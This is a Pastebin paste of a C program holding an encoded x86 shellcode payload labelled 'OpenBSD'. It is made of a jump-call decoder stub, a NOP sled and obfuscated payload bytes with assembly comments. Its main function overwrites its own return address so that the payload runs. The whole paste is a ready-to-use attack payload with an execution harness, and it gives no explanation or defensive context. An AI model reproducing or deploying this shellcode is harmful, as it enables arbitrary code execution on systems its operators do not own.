Advertisement
Guest User

Untitled

a guest
Sep 22nd, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.12 KB | None | 0 0
  1. #include <string.h>
  2.  
  3.  
  4.  
  5. char OpenBSD[]=
  6.  
  7. "\xEB\x65"          // jmpme
  8.  
  9. "\x5E"              // pop %%esi
  10.  
  11. "\x31\xED"          // xor %ebp,%ebp
  12.  
  13. "\x83\xE1\x01"      // and %ecx,0x01
  14.  
  15. "\x83\xE3\x01"      // and %ebx,0x01
  16.  
  17. "\x66\xBB\xFA\xF7"    // mov %bx,0x0F7FA
  18.  
  19. "\x66\x81\xF3\x48\xF7"  // xor %bx,0F748
  20.  
  21. "\x89\xF7"          // mov %edi,%esi
  22.  
  23. "\x83\xE0\x7F"      // and %eax,0x7F
  24.  
  25. "\xAC"              // lods %esi
  26.  
  27. "\xB1\x80"          // mov %cl,0x80
  28.  
  29. "\xF9"              // stc
  30.  
  31. "\x06"              // push %es
  32.  
  33. "\x74\x23"          // je short
  34.  
  35. "\x60"              // pushad
  36.  
  37. "\x83\xE9\x01"      // sub %ecx,0x01
  38.  
  39. "\x74\x06"          // je short
  40.  
  41. "\xB3\x02"          // mov %bl,0x02
  42.  
  43. "\xF6\xF3"          // div %bl
  44.  
  45. "\xE2\xFC"          // loopd short
  46.  
  47. "\x83\xE0\x01"      // and EAX,1
  48.  
  49. "\x6B\x2F\x02"      // imul %ebp,dword %edi,0x02
  50.  
  51. "\x09\xE8"          // or %eax,%ebp
  52.  
  53. "\xAA"              // stos %edi
  54.  
  55. "\x61"              // popad
  56.  
  57. "\x83\xED\xFF"      // sub %ebp,0xFF
  58.  
  59. "\x83\xFD\x75"      // cmp %ebp,0x75
  60.  
  61. "\x05\x83\xEF\xFF\x31"  // add %eax,0x31FFEF83
  62.  
  63. "\xED"              // in %eax,%dx
  64.  
  65. "\x90"              // nop
  66.  
  67. "\x90"              // nop
  68.  
  69. "\x90"              // nop
  70.  
  71. "\x90"              // nop
  72.  
  73. "\x90"              // nop
  74.  
  75. "\x90"              // nop
  76.  
  77. "\x90"              // nop
  78.  
  79. "\x90"              // nop
  80.  
  81. "\x90"              // nop
  82.  
  83. "\x90"              // nop
  84.  
  85. "\x90"              // nop
  86.  
  87. "\x90"              // nop
  88.  
  89. "\x90"              // nop
  90.  
  91. "\x90"              // nop
  92.  
  93. "\x90"              // nop
  94.  
  95. "\x90"              // nop
  96.  
  97. "\x90"              // nop
  98.  
  99. "\x90"              // nop
  100.  
  101. "\x90"              // nop
  102.  
  103. "\x90"              // nop
  104.  
  105. "\x90"              // nop
  106.  
  107. "\x90"              // nop
  108.  
  109. "\x90"              // nop
  110.  
  111. "\x90"              // nop
  112.  
  113. "\x90"              // nop
  114.  
  115. "\x90"              // nop
  116.  
  117. "\xE2\xBC"          // loopd short
  118.  
  119. "\x83\xEB\x01"      // sub %ebp,0x01
  120.  
  121. "\x74\x07"          // je short
  122.  
  123. "\xEB\xAF"          // jmp short
  124.  
  125. "\xE8\x96\xFF\xFF\xFF"  // callme
  126.  
  127. "\x75\x2E"          // jnz short
  128.  
  129. "\xEB\x29"          // jmp short
  130.  
  131. "\xAA"              // stos %edi
  132.  
  133. "\xA9\xB0\x6D\x71\xA0" // test %eax,0xA0716DB0
  134.  
  135. "\x20\x28"            // and %eax,%ch
  136.  
  137. "\xAF"              // scas dword %edi
  138.  
  139. "\x3D\x64\xE8\x77\x2B"  // cmp %eax,0x2B77E864
  140.  
  141. "\xEE"              // out %dx,%al
  142.  
  143. "\x76\xA3"          // jbe short
  144.  
  145. "\x60"              // pushad
  146.  
  147. "\xBE\x6F\x71\x3A\x71"  // mov %esi,0x713A716F
  148.  
  149. "\x3E\x3A\xAB\xB0\x34\x20" // cmp %ch,%ebx 0x202034B0
  150.  
  151. "\x20\x22"          // and %edx,%ah
  152.  
  153. "\xFB"              // sti
  154.  
  155. "\x29\xB2\xEE\x37\xBC\xED" // sub dword ,%edx 0xEDBC37EE,%esi
  156.  
  157. "\x22\x21"           // and %ah,%ecx
  158.  
  159. "\x75\xA6"           // jnz short
  160.  
  161. "\x60"               // pushad
  162.  
  163. "\x31\x3C\xAC"       // xor %esp,%ebp,%edi
  164.  
  165. "\xB6\x33"           // mov %dh,0x33
  166.  
  167. "\x7D\xBE"           // jge short
  168.  
  169. "\xF4"               // hlt
  170.  
  171. "\x31\x20"           // xor %eax,%esp
  172.  
  173. "\x2A\xF5"           // sub %dh,%ch
  174.  
  175. "\x3C\x67"           // cmp %al,0x67
  176.  
  177. "\xA2\xB2\x68\xB4\xEA" // mov 0xEAB468B2
  178.  
  179. "\x2C\xEC"           // sub 0xEC
  180.  
  181. "\x20";              // and %eax
  182.  
  183.  
  184.  
  185. main()
  186.  
  187. {
  188.  
  189.    int *ret;
  190.  
  191.    printf("\n%d\n",sizeof(OpenBSD));
  192.  
  193.    ret=(int*)&ret+2;
  194.  
  195.    (*ret)=(int)OpenBSD;
  196.  
  197. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement